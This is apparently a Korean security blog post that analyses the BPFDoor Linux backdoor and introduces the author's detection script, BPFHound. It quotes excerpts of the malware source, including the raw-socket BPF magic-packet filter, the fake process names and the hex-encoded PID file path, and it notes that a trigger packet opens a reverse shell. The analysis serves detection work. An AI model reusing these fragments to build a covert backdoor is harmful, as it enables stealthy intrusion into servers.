λ³Έλ¬Έ λ°”λ‘œκ°€κΈ°
  • Tried. Failed. Logged.
πŸ”’μ •λ³΄λ³΄μ•ˆ/μ•…μ„±μ½”λ“œ & 취약점 뢄석

μ•…μ„±μ½”λ“œ 뢄석 - BPFDoor.c μ£Όμš” μ½”λ“œ 뢄석 및 BPFDoor 진단 슀크립트 μ œμž‘

by Janger 2025. 5. 13.
728x90

 

BPFDoor μ˜€ν”ˆ μ†ŒμŠ€ μ½”λ“œ

 

https://github.com/gwillgues/BPFDoor/blob/main/bpfdoor.c

 

BPFDoor/bpfdoor.c at main · gwillgues/BPFDoor

BPFDoor Source Code. Originally found from Chinese Threat Actor Red Menshen - gwillgues/BPFDoor

github.com

 

 

 

RAW μ†ŒμΌ“ 톡신
[461]   struct sock_fprog filter;
        struct sock_filter bpf_code[] = {
                { 0x28, 0, 0, 0x0000000c },
                { 0x15, 0, 27, 0x00000800 },
                { 0x30, 0, 0, 0x00000017 },
                { 0x15, 0, 5, 0x00000011 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 23, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x48, 0, 0, 0x00000016 },
                { 0x15, 19, 20, 0x00007255 },
                { 0x15, 0, 7, 0x00000001 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 17, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x48, 0, 0, 0x00000016 },
                { 0x15, 0, 14, 0x00007255 },
                { 0x50, 0, 0, 0x0000000e },
                { 0x15, 11, 12, 0x00000008 },
                { 0x15, 0, 11, 0x00000006 },
                { 0x28, 0, 0, 0x00000014 },
                { 0x45, 9, 0, 0x00001fff },
                { 0xb1, 0, 0, 0x0000000e },
                { 0x50, 0, 0, 0x0000001a },
                { 0x54, 0, 0, 0x000000f0 },
                { 0x74, 0, 0, 0x00000002 },
                { 0xc, 0, 0, 0x00000000 },
                { 0x7, 0, 0, 0x00000000 },
                { 0x48, 0, 0, 0x0000000e },
                { 0x15, 0, 1, 0x00005293 },
                { 0x6, 0, 0, 0x0000ffff },
                { 0x6, 0, 0, 0x00000000 },
        };
 
        filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
        filter.filter = bpf_code;
 
        //
        // Build a rawsocket that binds the NIC to receive Ethernet frames
        //
 
        if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
                return;
 
        //
        // Set a packet filter
        //
 
        if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
                return;
        }

 

μ†ŒμΌ“μ— SOCK_RAW 섀정을 μ€˜μ„œ 이더넷에 ν˜λŸ¬κ°€λŠ” λͺ¨λ“  λ„€νŠΈμ›Œν¬ νŒ¨ν‚· 정보λ₯Ό Received ν•  수 있게 λ˜λŠ”λ°, 이 λ•Œ λͺ¨λ“  νŒ¨ν‚·μ„ 보면 μ•ˆλ˜κΈ° λ•Œλ¬Έμ— filter μ˜΅μ…˜μ„ μ§€μ •ν•΄ μΌλΆ€λ‘œ 맀직 λ„˜λ²„ 트리거λ₯Ό μ„€μ •ν•΄λ‘μ—ˆλ‹€. 

 

참고둜 μœ„ 같은 ν•„ν„° μ˜΅μ…˜μ€ tcpdump -dd 'BPF 문법' λͺ…λ Ήμ–΄λ₯Ό 톡해 생성이 κ°€λŠ₯ν•˜λ‹€. 

tcpdump -dd 'ip and udp port 53'
Warning: assuming Ethernet
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 10, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 8, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 6, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x0000000e },
{ 0x15, 2, 0, 0x00000035 },
{ 0x48, 0, 0, 0x00000010 },
{ 0x15, 0, 1, 0x00000035 },
{ 0x6, 0, 0, 0x00040000 },
{ 0x6, 0, 0, 0x00000000 },

 

https://www.trendmicro.com/ko_kr/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html

BPFDoor둜 κ°μ—Όλœ μ„œλ²„λ‘œ λΆ€ν„° 맀직 νŒ¨ν‚·μ΄ 감지가 되면 곡격자의 C2C μ„œλ²„λ‘œ λ¦¬λ²„μŠ€ μ‰˜μ„ μ—°κ²° ν•˜μ—¬ μ œμ–΄κ°€ κ°€λŠ₯ν•˜κ²Œ λœλ‹€. 

 

udp[8:2]=0x7255 or (icmp[8:2]=0x7255 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)>>2):2]=0x5293 or tcp[((tcp[12]&0xf0)>>2)+26:4]=0x39393939

[BPF Fitler Sample]

 

ν”„λ‘œμ„ΈμŠ€ 이름 μœ„μž₯
[842]  char *self[] = {
                "/sbin/udevd -d",
                "/sbin/mingetty /dev/tty7",
                "/usr/sbin/console-kit-daemon --no-daemon",
                "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
                "dbus-daemon --system",
                "hald-runner",
                "pickup -l -t fifo -u",
                "avahi-daemon: chroot helper",
                "/sbin/auditd -n",
                "/usr/lib/systemd/systemd-journald"
        };
        
[ . . . ]

[881]   strcpy(cfg.mask, self[rand()%10]);

[ . . . ]

[887]   set_proc_name(argc, argv, cfg.mask);

 

 

백도어 ν”„λ‘œμ„ΈμŠ€μ˜ 이름을 "/sbin/udevd -d", "/sbin/mingetty /dev/tty7", "/usr/sbin/console-kit-daemon --no-daemon"와 같은 일반적인 ν”„λ‘œμ„ΈμŠ€λ‘œ μœ„μž₯을 ν•΄ 탐지가 μ–΄λ ΅κ²Œ ν•œλ‹€. 

 

μ‹€μ œ ps λͺ…λ Ήμ–΄λ‘œ ν”„λ‘œμ„ΈμŠ€ λͺ…을 확인 ν•˜λ©΄ μ•„λž˜μ™€ 같이 ν”„λ‘œμ„ΈμŠ€ λͺ…이 바뀐 것을 λ³Ό 수 μžˆλ‹€. 

root       98983   16420  0 09:21 ?        00:00:00 /sbin/auditd -n

 

 

 

쀑볡 μ‹€ν–‰ λ°©μ§€

 

[855]   pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
        pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
        pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
        pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
        pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
        pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
        pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
        pid_path[21] = 0x00; // /var/run/haldrund.pid
        
        if (access(pid_path, R_OK) == 0) {
                exit(0);
        }

쀑볡 μ‹€ν–‰ λ°©μ§€λ₯Ό μœ„ν•΄μ„œ /var/run/haldrund.pid 파일이 μ‘΄μž¬ν•˜λ©΄ ν”„λ‘œκ·Έλž¨μ΄ λ°”λ‘œ μ’…λ£Œλœλ‹€. 

 

[894]   close(open(pid_path, O_CREAT|O_WRONLY, 0644));

λ§Œμ•½ 파일이 μ—†μ–΄ μœ„μ— 쑰건에 λΆ€ν•©ν•˜μ§€ μ•Šμ„ 경우(즉 졜초 싀행일 κ²½μš°μ—) /var/run/haldrund.pid νŒŒμΌμ„ λ§Œλ“€μ–΄ μ€€λ‹€. 

 

[232]   static void terminate(void)
        {
                if (getpid() == godpid)
                        remove_pid(pid_path);

                _exit(EXIT_SUCCESS);
        }

        static void on_terminate(int signo)
        {
                terminate();
        }
        static void init_signal(void)
        {
                atexit(terminate);
                signal(SIGTERM, on_terminate);
                return;
        }

init_signal을 μ„€μ •ν•΄μ„œ SIGTERM(kill -15)일 경우 remove_pid ν•¨μˆ˜λ₯Ό 톡해 /var/run/haldrund.pid νŒŒμΌμ„ μ§€μš΄λ‹€. 

 

 

BPFDoor 진단 슀크립트 μ œμž‘(BPFHound)

 

μœ„μ˜ μ•…μ„± μ½”λ“œ μž‘λ™ 방식을 μ°Έκ³ ν•΄μ„œ λ§Œλ“  점검 슀크립트

https://github.com/devjanger/BPFHound

 

GitHub - devjanger/BPFHound: BPFDoor Detection Tool

BPFDoor Detection Tool. Contribute to devjanger/BPFHound development by creating an account on GitHub.

github.com

 

 

 

진단 κ³Όμ •

 

(1) RAW μ†ŒμΌ“ ν”„λ‘œμ„ΈμŠ€ 검사

μ‹œμŠ€ν…œ 내에 RAW μ†ŒμΌ“(BPF)을 μ‚¬μš©ν•˜λŠ” ν”„λ‘œμ„ΈμŠ€λ₯Ό κ²€μΆœν•˜λŠ” κ³Όμ •μž…λ‹ˆλ‹€. 이 과정에 μ˜μ‹¬λ˜λŠ” ν”„λ‘œμ„ΈμŠ€μ˜ PID, μŠ€νƒ 기둝이 ν‘œμ‹œλ©λ‹ˆλ‹€.

 

(2) λ°”μ΄λ„ˆλ¦¬ 파일 좔적

“(1) RAW μ†ŒμΌ“ ν”„λ‘œμ„ΈμŠ€ κ²€μ‚¬μ—μ„œ λ‚˜μ˜¨ PID의 λ°”μ΄λ„ˆλ¦¬ 파일의 ν•΄μ‹œλ₯Ό μΆ”μΆœν•˜μ—¬ μ‹œμŠ€ν…œ 내에 숨겨져 μžˆλŠ” λ°”μ΄λ„ˆλ¦¬ νŒŒμΌμ„ μΆ”μ ν•©λ‹ˆλ‹€. 발견 μ‹œ 파일의 κ²½λ‘œκ°€ 좜λ ₯λ©λ‹ˆλ‹€.

 

(3) PID 파일 탐지

BPFDoorκ°€ 감염 ν”μ μœΌλ‘œ λ‚¨κΈ°λŠ” νŠΉμ΄ν•œ PID νŒŒμΌλ“€μ„ νƒμ§€ν•©λ‹ˆλ‹€. μ‘΄μž¬ν•˜λ©΄ ν•΄λ‹Ή 파일 경둜λ₯Ό ν‘œμ‹œν•˜μ—¬ 백도어가 μ‹€ν–‰λœ 흔적을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

(4) λ³΄κ³ μ„œ 파일 좜λ ₯

ν•΄λ‹Ή μ‹€ν–‰ κ²½λ‘œμ— 진단 μ™„λ£Œ μ‹œκ° κΈ°μ€€μ˜ ν…μŠ€νŠΈ λ³΄κ³ μ„œ 파일이 μƒμ„±λ©λ‹ˆλ‹€.

예) report_bpfdoor_suspect_processes_YYYYMMDD_HHMMSS.txt

 

μ°Έκ³ 

https://www.ahnlab.com/ko/contents/content-center/35830

 

BPFDoor μ•…μ„±μ½”λ“œ 뢄석 및 μ•ˆλž© λŒ€μ‘ ν˜„ν™©

2025λ…„ 4μ›”, κ΅­λ‚΄μ—μ„œ λ°œμƒν•œ μ΄ˆλŒ€ν˜• ν•΄ν‚Ή μ‚¬κ³ λŠ” 사이버 μœ„ν˜‘μ΄ ν•œμΈ΅ 정ꡐ해지고 μ€λ°€ν•΄μ‘ŒμŒμ„ 보여주고 μžˆμŠ΅λ‹ˆλ‹€. 곡격에 μ‚¬μš©λœ κ²ƒμœΌλ‘œ νŒŒμ•…λœ BPFDoor 곡격 방식에 λŒ€ν•΄ 확인해 λ³΄μ„Έμš”.

www.ahnlab.com

 

https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/

 

BPFDoor - An Evasive Linux Backdoor Technical Analysis

BPFDoor is an stealthy Linux backdoor operating for years undetected. We disclose full technical details and detection techniques here.

sandflysecurity.com

 

https://www.trendmicro.com/ko_kr/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html

 

Detecting BPFDoor Backdoor Variants Abusing BPF Filters

An analysis of advanced persistent threat (APT) group Red Menshen’s different variants of backdoor BPFDoor as it evolves since it was first documented in 2021.

www.trendmicro.com

 

728x90